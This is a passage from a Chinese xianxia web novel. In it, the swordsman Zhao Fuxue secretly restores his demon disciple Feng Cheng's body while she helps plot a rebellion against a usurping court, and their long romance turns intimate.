禁地四处凝着温度极低的冰霜,比当年闭关之时有过之而无不及,可最令人惊骇的,则是禁地中那巨大的冰棺中。 那里躺着一个脸色红润的姑娘。 登时,赵年感觉天旋地转,哆哆嗦嗦,连人都站不稳了。她惊骇无比地看向了一旁的赵负雪,只见赵负雪随意披着一件雪色长袍,脸色有些说不出的苍白。 “所剩剑骨。”他垂眸道,“能派上这个用处,是我之幸。” 陡然间,赵年心中最可怖的猜测被猛然击中,她豁然失去了理智,几步冲向了赵负雪,平生头一次想要将仅剩的人皮全然撕开,她道;“老尊者留下往生之咒,留她在世间已然是逆天之举,你不顾赵氏家门,拿剑骨给她重塑肉身,难道为了她有条仙脉,连赵氏一族也全然不顾吗!” 赵负雪置若罔闻,只是将手轻轻地抚上了冰棺中少女的脸。 禁地的温度低得能叫烈火成冰,可她的脸竟 然是红润而鲜妍明媚的。 “她会在纯净之地重获新生,”赵负雪喃喃道,“像最初一样,不受生老病死之苦,没有战火,亦不会有绝望,这是我欠她的人生。” 简直说也说不通,赵年恨得牙要将唇咬出血。 “你便这么一厢情愿地等下去吧。”她狠狠道,“谁也不知道她的灵魂去了哪里,若她留在茫然之地不肯回来,你又将去何处寻她?” 赵负雪垂下了眼睛,道:“……我知道她的‘落点’。” 赵年愣在了原地。 “往生咒指引她的灵魂回到了悔恨之地。” “……还沙。” 赵年还在发怔,却见赵负雪勾起了嘴角,一点带血的笑意在冰霜之下清晰而冰冷。 “往生之咒行到尽头之时,魂魄得以脱出蒙昧之躯,以死归新生,她只能回来。” 悔恨。 这么想着,他重新俯下身,赵年的脸色变了又变,最终,狠狠地甩袖,转身大步流星地踏出了禁地的大门。 是的,她想,一切冥冥之中自有定数。赵年清晰而无力地认知到,在她数十年前见到那一位血修之时,一切便已然镌刻在了命运轮转不休的钟上。 光阴正逆,已然界限混淆。 *** 一路车马劳顿,封澄总算带人回到了军营。 身后的天机铁骑陆续下马收拾,姜徵走到她身边,活动着筋骨,有些好奇道:“这群人本事不小,竟然还活着。” 封澄白她一眼:“劳驾,请不要用这么意外之喜的语气说这么恐怖的话。” 姜徵道:“你死后清算全算在他们头上,我给他们发了抚恤金,人既然活着,钱想来是被吞了。” 正巧有人认出了姜徵,面上露出了意外之色,还是和她打了招呼,封澄伸了个懒腰,道;“现在轮到报答你的时候了,请吧,太后娘娘。” 阴阳怪气,姜徵哈哈一笑,总觉得眼前的封澄与前世最后那会儿大不相同了,她拍了拍封澄肩膀,少见地露出了几分少年时的促狭。 “我可听说了,有人花钱花力气养你的残军。你这算什么,提前把人家的嫁妆给花了?” 往前走的封澄一怔,霎时反应过来,登时一脑门官司地回头敲她。 真好,姜徵想,尘世浮沉五十年,人人都已经在风霜血海里面目全非,可在封澄面前,却不自觉地回到了最像人的时候。 像一面清澈透底的镜子,沉寂数年,经久弥新。 “你回来真好。”姜徵突然道,“阿澄。” 封澄瞳孔缩了缩,她低下头,再抬起来时,眼底已盈满笑意。 “知道。” 清点物资的工程交由秦楚与叶泉完成,秦楚早已不是当年跟在封澄身后叨叨着打包行李的主儿,经年战场风沙令她成了另一位坚毅的将军。忽然一人来传召,她心中奇怪,将账目交由叶泉,转身应召去中军帐种,一掀帘子,便见座上封澄与姜徵琢磨着什么,封澄一见她,笑道:“坐。” 秦楚好奇地凑过去:“将军要做什么。” “这几日我琢磨,人手不够,加上前几日拉进来的修士也不够,”封澄道,“天机铁骑就这点儿人,哪怕配了灵器也不行,搞点别的路数。” 见状,秦楚不由得有些想笑。 “将军请讲,我等从何召军而来?” 封澄道:“真是个问题,现在咱们和逆贼没什么区别,谁能加进来呢?” “自然从权而来。” 秦楚道:“权从何来?” 闻言,姜徵微笑道。 “先帝被洛京赵氏囚于府中,”她道,“人证正是本宫,当今皇上与其臂膀皆窃国者,讨伐之名,有它够不够?” “只看这张筹码,”姜徵意味深长道,“能炸出对面多少牌。” 秦楚的视线不由自主地投向了封澄,只见她懒洋洋地打了个哈欠,随即笑了笑。 “啊,我比较好奇天机军所忠的君,是名正言顺的先帝刘润呢,还是窃国的刘不平?” 闻言,秦楚瞳孔剧烈颤抖,她脱口道:“此号令一出,洛京赵氏必居于风口浪尖,将军难道是要置赵府不顾?” 封澄却摇了摇头,随即,露出个狡黠的笑意。 “若赵府倒向刘不平,那自然是谋逆君上的豺狼之徒。” “而若是赵府倒向我,那便是师徒一心,忍辱负重,不负所托,在一众逆臣中保全了先帝安危。” “血修当道,苛税滔天,连带着何守悟一派横行霸道,民怨沸腾。” “赵家是愿意和旧朝那堆烂摊子陪葬,”封澄手腕上的红绳一晃一晃,“还是愿意做新朝的第一位忠臣,这不摆明的嘛。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 160-168 第161章 第161章落泪 天机军对这件事的接受速度远远超出了封澄的预料。 封澄方把事情摊开来说,还没来得及把“软硬皆施”中“硬”的那一面摆出来,崔霁便沉吟片刻,抬头道:“既如此,天机军站在娘娘这边。” 封澄故作深沉地坐了回去。 姜徵雍容而仪态八方地接受了崔霁的投诚,另顺便恢复了天机铁骑的军号。封澄只觉得顺利得不可思议,偏偏头道:“他答应下来不奇怪,但答应得这么痛快,我觉得还是有些奇怪的。” 一转头,她嘴角抽了抽。 姜徵在短短几日里熟练地赢到了天机军的信任,封澄看着她雍容而不失威严的模样,姜徵一边走一边道:“这有何奇怪?崔将乃有志之人,从龙之功就在眼前,不比他在边关吃沙子强?他难道放着不要?” 说着,她停在一踉跄练剑的少年前,那少年慌忙行礼道:“姜娘娘。” 姜徵温和道:“少年人,继续操练。” 一旁的封澄目测过去——这兄弟的年纪和她差不多,她心底莫名道:一觉睡过去,醒来就和姜徵差了辈。 眼前的姜徵实在不是当时的姜徵。沧海桑田,把个生性自在的姜少主变成了一个手腕老道的政客,封澄看在眼中,轻轻地叹了口气。 她这些年也不容易。 当年无论是将军还是政客,二人骤然走上高位之时,都是赶鸭子上架般,稀里糊涂地便披上了戏服,做上了似懂非懂的演员。 尸山血海将封澄身上的戏服剥去了,而姜徵呢? 她走到如今,不见血的刀,往往比见血的刀杀人更狠。 这么想着,封澄心中有些沉重,忽然一抬头,便见一人朗声笑道:“封将军,姜娘娘!找你们许久了。” 封澄一抬头,眼睛不免一亮。 天机军走向封澄这边后,天机铁骑也得以归位。当年何守悟一众虽是清算天机铁骑,可铁骑军号却并未被取缔,故铁骑归位领军饷之事走得并不困难,新的衣甲往寸金身上一穿,封澄总算是把天机军这身穿起来很笨重的战甲看顺眼了。 明明是新招进来的小鸡仔撑不起战甲嘛,封澄想,这群人实在太不像话,训练也该提上日程了。 寸金道:“京中风云已起,我们安插进去的人已经将流言传得满城风雨。” 封澄点了点头:“很好,现在禁了吗?” 闻言,寸金一怔,随即眯着眼睛笑了笑:“将军怎么知道的?消息传到宫中,何守悟与刘不平当即严令禁了流言。” 而流言这种东西嘛,越是要禁,越是禁不住。 顿了顿,寸金又有些犹豫,他斟酌片刻,才道:“还有一件事,京中百家大比已然结束了,魁首的奖品令人有些意外。” 说着,他从怀中珍重地掏了什么东西出来。 “一块骨头。” 封澄吓了一跳,手忙脚乱地攥住寸金的拳头,压着声音道:“这地方不能说话,换一处。” “……” 没曾料想,赵负雪胆子这么大。 封澄若有所思地捻起骨头,这枚骨头应该属于某种异兽,大概是肢体末端的某处骨骼,从兽类的角度看并不大,但放在人身上,也足足以长过半条手臂。 “地魔骨?”寸金听过来龙去脉,不免一惊,显然是被自己竟怀揣着如此异宝招摇过市而吓到了,封澄点了点头,又颇为头痛地捻了捻骨头,道:“赵负雪送这个来做什么?再找一个凡人脱骨成仙么?” 显然,身边并没有合适的人选。 寸金犹豫片刻,摸了摸下巴,道:“据我所知,地魔之骨并非只供凡人所需要,仙人用上,也是行的。” 世人有所传闻,令赵负雪跻身第一剑修的,便是他身上那根来路不明的剑骨。 “那就更奇怪了,”封澄道,“这几年赵氏隐退,不是刚好要这东西来重出江湖么?” 再想也是无用,封澄把剑骨收好,打算攻入洛京之时再另找赵负雪问一问。 日子有条不紊地过,十日后,崔霁召集众人,开始布防行军。 “从长煌到洛京,有三条路可以走。” 她在沙盘上插上三枚旗子。 “从东面打,沿途富庶,补给方便,另有官道可急行军,我等长途行军,补给一事 万万要紧。” “走水战。从长煌往南,借中水一脉通途长驱直入。但长煌天机军不善水战,即便应对的是守在水道上的崔家也是艰难,还是值得商榷的。” “还有就是借道西琼了。只是此地风貌恶劣,想来行军亦是艰难。” 姜徵一众若有所思地看着沙盘,而封澄却轻轻地皱了眉。 “这三条路,都是走不通的。” 众人的目光齐齐看向了她。 封澄道:“这几日里我冷眼瞧着天机军的训练,实在是有些心惊,短缺的战场经验和训练绝非一朝一夕能补足,这么上战场是不够的。且天机军不仅不善水战,空战之道上亦是欠缺良多,你我所对敌军乃是以空战闻名于世的机关一道,走水战,瓮中捉鳖。东面虽是富庶通达,可并不是只对于我等富庶通达,何守悟之众照旧能打出四面楚歌之势,走西琼……” 封澄顿了顿,才慢慢道:“西琼是血修之地,如今的天机军,难道还能和血修正面硬碰么?” 闻言,众人不约而同地沉默了。 是的,封澄当年还在时,天机军与血修势同水火,人人都有一手紧咬着血修打的本事。如今的天机军虽是紧急操练了些时日,但奈何废了太久,连眼下的血修有几斤几两都是不清楚,如何能直接杀到血修盘踞的西琼? 崔霁叹道:“是我过错了。” 封澄摇摇头,忽然抬起手,将旗子在洛京上重重地划了一道。 她眯了眯眼睛,道:“清剿洛京余孽,唯有一法可行。” 姜徵愕然地抬起了眼睛。 “里应外合,先起内乱。” 登时,崔霁瞪大了眼睛,他结结巴巴道:“内乱?如何能乱?” 封澄将手中的荷包抛了抛,随即勾起个笑意来,道:“好说。” *** 又是深夜,赵府屋顶落雪上却多了几个脚印。 孤灯一盏,他端坐案前,夜间凉了些,他肩上披了件雪白的氅衣,忽然赵负雪耳朵一动,将微微的脚步声收入了耳中。 来者是个高手,也并未刻意放轻脚步。 “既然来了,”他唇角不自觉地一勾,“怎么不说话?” 屋内似乎传来了一声很轻的笑音,随即便听她窸窣解下外袍的声音。 “外头冷,”她道,“怕过了寒气来,站门廊暖暖。” 女子果真在门口站着了,只是站得无声无息,眼睛却含着一弯笑,目不转睛地看着他。 赵负雪:“……” 有贼心没贼胆的小流氓,眼神之赤裸简直能将他背后烧出一个洞来。 等了半晌,他无奈停笔道:“还未暖过来吗?” 那边才动了,封澄窸窣凑过来,身上带着新雪的甜香,她也不见外,坐在了窗前的书案上。 今日她少见地穿了一身杏色衣裙,轻薄的质地,露出手臂与颈上的雪白颜色,流淌在身上,像一道月光。 赵负雪想,她少见这样打扮。 她坐在书案上,看向窗外,落雪纷纷而下,她突然道:“我不给老皇帝打工了。” 赵负雪闻言,只是垂眸,视线不动声色地落在了封澄书案上的裙角上,声音平静:“好。” 封澄自嘲般道:“喊了这么多年,以后可真落实反贼这名号了。” 赵负雪心有所觉,抬起头,看着她。 少女坐在书案上,背着身后的雪色与月色,今夜的月色分外明亮些,照在她背后的长发上,像给人盖着一身大雪。 “我今日来,“她不自觉地捏了手指,道,“打算把另一道虚名也坐实。” 话毕,她深吸了一口气,像是终于打定了主意一般,飞快弯下腰去,附上了赵负雪的脸。 “啾。” 一个羽毛似的吻,轻轻地落在了脸上。 赵负雪的瞳孔猛地一缩。 封澄太怂,即便是填鸭般灌大了狗胆,也只敢在腮边偷个香,刚一吻下去便炸红了脸,她逃似的抬起身来,狼狈地擦了擦嘴,若无其事地道:“……以后,就算数罪并罚,也不是冤枉,值了。” 光一个造反就是杀九族的大罪,哪轮得着论旁的,封澄一说,自己也觉得好笑。 赵负雪缓慢地眨了两下眼睛,看起来竟然有些呆呆的。 陡然地,封澄后知后觉地琢磨出两分尴尬来,她作势清了清喉咙,正要说些什么,颈上忽然传来一阵大力,紧接着便是骤然包裹住她的冷香气。 赵负雪身上常年冰凉,而此时此刻,封澄忽然发觉,再冷的人,唇舌也是热的。 一吻铺天盖地,片刻,赵负雪撤出去些,他轻喘着气,鼻尖与封澄鼻尖相触,漆黑的睫垂着,封澄忙乱间紧紧地抓着他的衣袖,见状,猛地一松。 “……有贼心没贼胆,还敢学人家做孽徒,”他喘息道,“张嘴。” “唔!” 这一吻仿佛滚热的甘泉一般,搅得封澄魂飞天外,她坐在赵负雪身边书案上,低着头,手不知何时搭在了他的肩上。 后半夜的积雪厚重,压上枝头,发出了不堪重负的咔擦声。 真是奇怪,封澄想,明明再亲密的事情都已在冰棺之中做过了,怎么如今一个吻,便叫人忍不住要落泪呢。 第162章 第162章无垢如雪 夜间温度暖和了些,封澄醒来时,听见了春水似的滴答声。她有些困倦地睁开了眼睛,心想道:“檐上的雪化了。” 屋内的暖意熏熏,将屋中的冷香气越发蒸得陶陶然,一旁温热的身体存在感不容置疑,封澄赖在他枕上,摸着赵负雪铺了半身的墨黑长发。 赵负雪兴许是被她摸得痒了,偏过头来看着她,眼睛乌幽幽的,像一潭雪化的春水。 自年少时生了异心以来,封澄再也没理直气壮地赖过赵负雪的床榻。 “什么时候醒的,”封澄道,“也不喊一声。” 赵负雪的长发触感极佳,像一匹墨色的锦,赵负雪只看着她,眼睛含着笑意。封澄俯下身去,轻轻地在赵负雪的眼睛上落下一个颤颤的吻。 他的眼睛生得极为美丽,是这张脸上最为夺目的一部分,抬眼潋滟,垂目冷寂,封澄喜欢得紧,混乱的吻无限接近一只小动物乱七八糟的乱蹭,赵负雪闭着眼睛,笑了:“有一会儿了,外头吵,睡不着。” 淅淅沥沥的的确吵,但放在赵负雪手上,不过一记灵力的事儿,封澄也不戳穿他,路经陡然一转,尖锐的犬齿在他唇上磨了磨牙。 “我打算去彭山一趟,”封澄撑起身子,长发散了半身,道,“清理门户。” 师徒二人久伴多时,有过坦坦荡荡的师徒情分,也有过欲壑难填的汹涌妄念。而像如今这般平静却亲昵的时刻却少之又少。 赵负雪沉默片刻,不语,而是轻轻地贴了贴她的鼻尖。 “万事当心。”他道,“需要我出手吗。” 他并未像从前般忧虑挂怀,而是平静地跟随着封澄的一切选择。 未曾过问分毫,哪怕她要去捅了天。 呼吸交缠,床褥散乱,封澄怔怔看着,肖想多年的美人躺在双臂之间,墨发铺了半床,长睫微微垂下,按理说明明是居于人下任君采撷的模样,却油然令人生出不可亵玩之心。 封澄在此刻清晰无比地意识到,身下这位不是那个凡事写在眼中的少年赵负雪,而是令她寤寐思服的、将她一路教养至此的师尊。 脸上多了冰凉的触感——大抵是修行灵力之故,赵负雪的体温总是比旁人低一些。他的声音似笑非笑:“脸忽然红了,在想什么?” 以下犯上,封澄看着赵负雪,愈发觉得整个人烧了,头晕目眩,赶紧连滚带爬地从他身上下来, 可话又说回来,既然一反了之,那君臣尊卑都逆了,师徒名分还要紧么?封澄一脸空白地在榻边冷静片刻,才后知后觉地反应过来——她怕什么? 所幸一旁的赵负雪已然起床,即便封澄有心做些什么,也无济于事了。 昨夜睡得乱七八糟, 若非赵负雪硬是揣着什么的讲究,今时今日也该生米煮成熟饭,封澄看着他的背影,心很累地叹了口气。 从前她瞻前顾后,赵负雪疯得只差把人生吃,如今她滚回来造反,赵负雪倒端起了那副大家公子的操守,慢条斯理,什么也不急,岂有此理。 干看着不能吃,封澄眼巴巴地看着他的背影,抓狂片刻,还是道: “我出门了,”封澄道,“等我回家。” 赵负雪穿衣的动作顿了顿,良久,他若无其事道:“早些回来。” *** 彭山清洗并非一日可行,杀叛徒、镇人心,样样都是耗时间的,眼瞧着封澄一留洛京,便是半月有余了。 星夜,下了一场少见的暴雨。 封澄又是迟迟未归,赵负雪已然习惯了,只披着旧衣,如同旧日一般坐于案前,电闪雷鸣,雨声交加,他一边翻阅手中书册,一边想,今夜要去接她回来。 这般寻常夫妻的日子着实是平淡到无趣了,凡人过上几年,便腻味透顶,横生异心,偏生赵负雪只觉得乐此不疲。 无望的等待太久,像如今这般日日都能等到她归来,是难得的幸事。 门忽然一动,赵负雪一顿,陡然间,凝眉,一记灵力便冲去。 来者早有预料般接下了这记灵力,沉声道:“把你在做的事情停下。” 男子一身漆黑,是一副少年人的打扮,身后一条长长的巨尾,一副毋庸置疑的非人模样,但若是见到他周身几乎凝为实质的灵力时,无人会将其认作凶煞魔物。 深夜来者,竟是神兽八方。 兽的形态庞大,极为损耗灵力,八方这副模样也是少见,赵负雪看着他,冷冷道:“现在才来,晚了些。” 山海一般的灵石往赵府倾泻而来,统统填入了禁地大阵之中,另有一批投入后山,将八方之灵力锁在了山里。 八方一步上前,厉声道:“你身上背负的因果够多了!死而复生、逆时而出,桩桩件件哪样要不了你的命!现如今还要她脱去魔体从重回人身,由魔变人,岂是寻常因果能比!且她是寻常魔物么?” 陡然一阵寒风,赵负雪连日间春风化雨般的温和荡然无存,他抬起眼睛,冷道:“不是又如何。” 八方道:“……你真是疯了。” 他知道赵负雪在乎这些,天魔的寿命并不像仙人一般漫长,且天魔并无轮回。 “不可行,她不是寻常天魔。”一片死寂之中,八方沉默良久,咬牙,正欲出言,却陡然被赵负雪打断,他愕然抬起头,正正撞进了赵负雪的双目之中。 “我知道。” 他看向窗外,平静得如同不动的青山。 “血池那么多,妄想成魔的人那么多,可举世之中,只成了她一个。” “……” 为什么。 “血池成魔之举是谬论。” “她本来就是魔。” 赵负雪道。 八方霎时站在了原地。 赵负雪从容站了起来,从前八方竟未发觉,他有这样一双平静的眼睛。 平静之下,是烈火般的疯狂。 “那根骨头,本来就是她的,我物归原主。” 八方怔怔地后退了两步,猝然之间便明白了,那排山倒海般的灵石是为什么。 他从前只当赵负雪谨慎,一次不行,再行一次,用灵石堆,早晚要将她天魔之身脱去,如今才知,他压根就不是做足了多次准备,而是孤注一掷,犹如将筹码全盘压上的赌徒。 “我不能赌她下辈子未有的轮回,亦不知地魔凡间之身离去之后将归何处,我想留她在人间。” 他不赌生生世世,只求一世长久。 “刘润灵力乃地魔骨后天所塑,与她灵力却一模一样。” 多一日,哪怕多一时,也是他绝不放手的。 “……你是什么时候知晓的。” 赵负雪不答,只是偏了偏头,平静道:“不太久,从前只是猜测,如若说确定下来,应当是百家大比之后。” 上古造物,一凶一吉,八方不可能对她的存在毫无知觉。 “……” “她的尸身骨骼与我朝夕共处,数十年之久。” “……” “和那枚地魔骨的气息毫无区别,我不会认错。” 八方道:“地魔本就为因果之魔,何况是她!你就不怕大逆因果,雷劫加身!” 他定定地看着八方,想了想,很轻松地笑了:“原来真是这样。” 闻言,八方一怔,赵负雪从容起身,向前而去,道:“不妨事,今夜雨大,我要去带她回家了。” 八分猜测已然全部落实,如今八方的反应才是确凿无疑的答案,赵负雪得知此事,心中却是如水一般的平静。 大夏地魔,赵负雪想,难怪名字叫封澄。 乘风而来,乘风而去,普天之下,全然是她的法则之地,比风还要自由。 伞一抖,随即打开,他掠过僵在原地的八方,此时八方也渐渐地回转过来,登时大怒道:“你诈我!?” “人的狡猾,是魔望而却步的。”大雨磅礴,一身素白旧衣的男子长身玉立,撑起了一把素色的伞,飘飘然向着廊下而去,忽然,他想到了什么,停下脚步道:“那根剑骨,也是她的?” 不是疑问,而是肯定。八方简直要被这个狡猾的人类问得有气无力了,此时哪怕一句话也不愿意答,生怕被他再无声无息地套了什么去,当即有气无力道:“不知道!” 谁料赵负雪却又笑了。 “这般反应,想来是她的,吉凶之兽,看来并不像名字般势同水火。” 再说下去简直没完没了,八方现在一句多余的话也不想搭理赵负雪,只觉得今夜冒雨而来的他简直是脑子潲进了雨水,登时闷不做声地一转头,扭身扎进了磅礴大雨之中。 赵负雪看着他的背影,无奈摇了摇头,颇觉有意思,转过身,便走进了茫茫大雨之中。 走出赵府不远,便见一人提着琉璃灯,打着伞,吊儿郎当地抱着一捧花向这里跑来。 “你怎么出来了!”封澄见着雨中的赵负雪,吓了一跳,紧接着把伞一收,便往他伞下面扎,她的伞打得乱七八糟,后背湿了大片,赵负雪看着,道:“回屋,已烧了炭火。” 封澄摇了摇头,像小动物甩毛一样,兴冲冲地将怀里的花捧了出来。 “给你,”她道,“路边看见的,想起来回来这么久,好像还没有给你买过花。” 赵负雪低下头去,她的衣角向外漉漉地滴着血水,想来不是她自己的,而是处理血修的。 花色雪白,被抱在胸前,拿伞小心护着,只沾了些水珠,依然是明媚欢然的模样。 “……不喜欢么?”封澄看他迟迟不接,有些忐忑,小心翼翼问道。 “很喜欢。”赵负雪微微俯身,将花与人一同接在了怀中。 “诶?” 封澄不懂赵负雪忽然拥得这么紧。 血水自二人脚下潺潺而流,而拥在二人之中的雪白花束,却是无垢如雪,寂然而开。 第163章 第163章春雨 彭山清洗足足维持了将近一月,即便是耳朵再聋的人也有所耳闻,更何况手眼通天的何守悟。 深夜,何府之中传来咣当一声巨响。 “查清楚了?血洗彭山之人的确是封澄?!” 幕僚点了点头,恭敬无比道:“确是此人。” 下人不敢吱声,低头蹲身过去,尽量毫无存在感地收拾碎了一地的瓷片。何守悟双手撑着案,大喘着气,脸色被气得苍。 他就知道,赵负雪那疯子哪里会转性,只可恨他当日匆忙,竟不知此人还有起死回生的本事! “她竟敢对着彭山开刀?!” “彭山那群蠢货竟这么由着她杀!” 幕僚有些不敢抬头:“……血修生性如此,想来也不是真心不想反抗。” 如若是全杀了也就好了,何守悟冷笑一声——这女人杀尽不臣之人,却独独留下了一批吓软了膝盖的孬种为她所用。 那群孬种嘴里的消息,比他们的命值钱得多。 何守悟阴沉无比地坐了回去,把玩着象征家主之位的暗黄玉扳指。 这枚玉扳指从前大抵是玉白的,这些年来,沁在上头的血已将其本质改色,成了一抹擦不去的颜色。 何守悟摸着扳指,半晌,冷笑一声。 他从一介人尽可欺的跑堂小子做到如今这个位置,封澄还以为他是当年仰他鼻息的废物吗? 彭山之地进退皆难,他并非不想支援,而是不等援兵入山,便被山中诡异灵气绞了个尸骨无存,手底下的机关偶倒是能进去,奈何这段时间的灵石比金子贵出十倍去,方才经历百家大比,叫他从哪里掏出这么大一笔灵石供机关偶运作? “诡计多端的女人。”何守悟冷哼着想,“她想做什么?在洛京分一杯羹么?” 从前他只觉得此人蠢不堪言,明明靠着赵家与姜氏两棵大树,却 傻乎乎地跑到长煌去吃沙子,分明天资卓绝,却自甘堕落学血修一道,从前先帝只差那她当亲奶奶亲近了,谁知权势正盛时,人家说走就走,还把命折在了长煌。 难道死过一遭,忽然明白了权势的妙处么? 想到这里,何守悟沉吟片刻,道:“派人备礼,我倒要去拜会一下她。” *** 彭山之事告一段落,比预计的要快,这几日封澄只去审些琐事,不必时时在外,多余时间便在赵府四处折腾,府中伙食好,还不用吃沙子,短短几日,她便把脸养圆了一圈。 今日一早便不见赵负雪的人,封澄百无聊赖,在府中乱晃,一不留神,便晃到后院一处僻静小院前。 这地方十分清静,而最吸引封澄视线的,则是院墙上停着的一串活生生的小鸟。 十分眼熟,乃是当年在鸣霄室跑前跑后的大功臣,封澄见了大为意外——这些鸟不是灵力所化么?怎么赵负雪不在,还能好端端地呆在这里呢? 作为一个想什么干什么的实干派,她掠上去,一把抓住了来不及扑腾飞走的小鸡,上手一捏,有些惊讶:如此活灵活现的鸟,竟然是机关鸟。 真不愧是赵负雪,连机关一道亦是精益求精,封澄心中感慨,正要将鸟放回去,脚下便被屋檐上的青苔一滑,登时脚下一空,陡地跌进了院子之中,她捏着鸟,呲牙咧嘴地坐了起来,这才发现,院子中正匾写了仨字——不悔冢。 “!” 她微微睁大了眼睛。 一跤栽进了赵家祖坟里头,封澄忙不迭地一蹦而起,口中念着打扰之词,连滚带爬就要出门,谁料手方触到院墙上,心头却猛地一抽。 她摸着胸口仿佛被拽了一下的位置,狐疑地回过头来。 不悔冢并没有墓地的阴冷感觉,相反而之,封澄倒觉得这地方说不出的令人舒适,好似整个人一进去,便全然放松了一般。 “姑娘既然心有所觉,不如进来一探究竟罢。” 突然而来的声音令封澄回了神,她定睛一看,才见不悔冢里走出来了一年迈老者。 他的须发已经全白了,眼睛也浑浊无比,封澄试探地答了一声,那老者才将目光锁在她所站的位置。 是个眼力有损的老者。 定了定神,封澄道:“老先生,我并非赵氏族人。一介外人贸然闯入,已是冒犯贵府先祖,还是不叨扰了。” 谁知老者倒是呵呵一笑,捋着长须,很是和善的样子。 “既是外人,如何能破得此地禁制?” 赵氏先祖埋骨之地,非历代家主不得妄入。 他道:“先进来罢,我已温好了茶。” 说罢,老者拂袖转身,好似不觉得封澄会转身离去似的,封澄想了想,还是一咬牙,跟了上去。 偌大一间屋子,竟然空空荡荡,什么东西也没有。 一进门中,封澄有些讶异:“分明是冢,为何连牌位骨灰也无?” 老者呵呵一笑,信手一挥。 刹那间,屋中一片漆黑。 还未等封澄反应过来,漆黑之处便潮水一般,一点一点地,亮起了游鱼般的漫天星斗。 她惊得睁大了眼睛,老者笑道:“修道之人,何来骨灰牌位?年岁既尽,魂归天上便是天地自由。” 满天星斗如同夏夜银汉般,封澄心中却忽然想,有朝一日,赵负雪也会成为这无言星斗中一人吗? 思及此处,她心中也有些低落,老者眯着眼睛,笑道:“他不会归于此处。” 封澄愕然地抬起了眼睛。 “此冢名为不悔,留不住心中尽是悔恨之人。” 老者像是没发觉封澄骤然急促的呼吸一样,转身走去,边走边叹道:“旁人从血肉中生,他却从一颗心中生,哪怕是满天星斗,亦容不得满是悔意的一颗痴心。” 他一边走着,一边信手挥去,星斗仿佛十分赞同他的话一般,欢欣地游动起来。 身后没有传来那姑娘的步音,他有些奇怪,转回头去,却见她怔怔然站在原地,仰头看着,不知道在想什么。 “漫天星斗不容他,”封澄定定道,“他到我的骨灰里来,我容他。” 不太想给赵氏先祖留下脑子不好使的印象,封澄却不知道自己怎么冒出这一句堪称不过脑子的话来,她却并不想找补,垂下眼睛,还是欲盖弥彰地解释道:“他不会没有地方去的。” 天魔的寿命不如修士漫长,她大概会死在赵负雪前面。 封澄苦中作乐,心很大地想,到时候赵负雪下来找她的时候说不定轮到她做师尊了。 “……” 老者眯成一条的眼睛似乎讶异地挣开了些,半晌,慢慢地笑了。 “我本以为他选错了人。”老者说,“现在一瞧,也不尽然。” 什么东西被抛了进来,封澄下意识伸手一接,接了个正着。 “那小子忘在此处的东西。” 是一枚亮晶晶的素色指环,像个落在掌心的星子。 和赵负雪手上带着的那枚一模一样,却崭新无比,毫无岁月之迹。 “他一辈子都未必开口的事情,”他道,“都在里面了。” 说罢,老者挥了挥手,漫天星斗仿佛灰烟般烟消云散,转瞬间,只剩下了一座空荡荡的屋舍。 封澄惊诧无比地四处看了看,试图找出能令一个大活人转瞬不见的理由。 如若不是掌心指环由且冰着她的掌心,封澄大抵以为方才的一切乃是荒诞的白日幻梦。 她的目光落在了掌心指环上,心中将老者的话重新咀嚼了一遍。 赵负雪此生不会开口的事情,会是什么? 犹豫片刻,她将指环戴入了手中。 刹那间,眼前一白。 *** 将矿脉一带的事情处理结束后,赵负雪回到了府中。 不知为何,往前总是坐在墙头上的封澄不见踪影,他看了看黑沉沉的天色,今夜不见明月与星子,隐约感觉又要下雨了。 下雨了知道往家里跑,赵负雪莫名唇角勾了勾。 春雨未下,走到屋前,亦是黑沉沉一片,赵负雪远远看着,只觉有些担忧——封澄少有这么早就寝的时候。 “身体不舒服么?”他想,“还是太累了?” 这般想着,他推开了门,走到了内室,一见,封澄坐在榻边案前,披着件他的外裳,像他从前一般端然坐着,一灯如豆,摇摇晃晃。 他在门口怔住了。 心上人穿着他的外裳坐在榻前,这种感觉十分奇妙,虽说外裳对于封澄而言大了些,穿在身上,像件踢踢踏踏的袍子,袖子不够长,她把手蜷在里面,看着乖乖的。 定住脚,看了片刻,赵负雪才回神走过去,倾身吻了吻封澄发顶:“既要读书,为何不把灯火点亮些?” 身下的人却不像之前般乱七八糟地凑上来,封澄垂着眼睛,轻轻道:“点了灯也看不明白,何苦浪费那点灯火。” 哑然失笑,赵负雪又吻了吻她,封澄又道:“从前在 天机院时,你总这么呆在案前,看着这些谁也看不懂的东西,好像永远都看不完似的。” “……” 赵负雪察觉几分不对。 “像这样的话,我也会甘心变成什么都不说的哑巴吗?” 她的手猛地合上了书卷,赵负雪看到她的指上一亮,登时脸色微变——那枚没有送出的生死咒。 此物已放在不悔冢,怎么会跑到她的手上?她去了哪里,见了什么人,知道了什么? 电光火石间,赵负雪的脑海飞也似地过了无数字行,可还未揪出个所以然来,唇上忽然落上了重重的疼痛。 她在哭,赵负雪想。 这个念头一出来,他的手僵硬了片刻,旋即缓缓地,缓缓地落在了封澄的后背上。 像个真正纵容晚辈的师尊一样,他轻轻按住封澄的后背。 她极少落泪,生死亦是,苦痛亦是。血海红莲,黄沙万里,谁也没从她的眼角逼下一滴泪来。 她喉咙里有呜咽的声音。 “为什么不恨?”她道,“为什么不恨?” 少年青涩而坦荡心事,珍重地递过的那条红线,如今绞在她的心头,像一把行刑的刀。 在很久很久之前,他就走向她了。 年少时错爱之人,用尽他半生光阴,囚他于方寸之地,苦痛不得超生。 赵负雪不言,片刻,轻轻地吻她的眉心。 “恨过的。”他道,“恨我不守本分,又把你拉进水。” 这对师徒真是荒谬极了,封澄想,为师者不为师,为徒者不为徒。 没有人坦荡,没有人对得起横亘在二人之中的师徒名分。 只对得起一颗痴心。 像一腔荒腔走板的大戏,字字句句都唱得惊世骇俗。 那就再荒唐一点。 封澄想,她上去抓住人的衣领,天魔锋利的指爪像利刃,将人皮之外的隔阂一分两半。 此夜春雨终于淅淅沥沥地落了下来。 酸涩难言的欢愉之中,封澄的手触到他光裸的后背上,她抬起了眼睛,失神地想:仙人终于不是仙人了。 他像美丽的兽。 抚摸着他覆着薄汗的后背,封澄轻喘道:“这道疤,是怎么来的?” 赵负雪低下头吻她,将人的话语吞吃进去,身下的动作忽然一重,顿时封澄紧紧揽住了他的颈,连一句话也说不出来,只剩堵在喉间的呜咽。 “不想别的。”赵负雪去吻她唇舌,道,“喜欢么?” 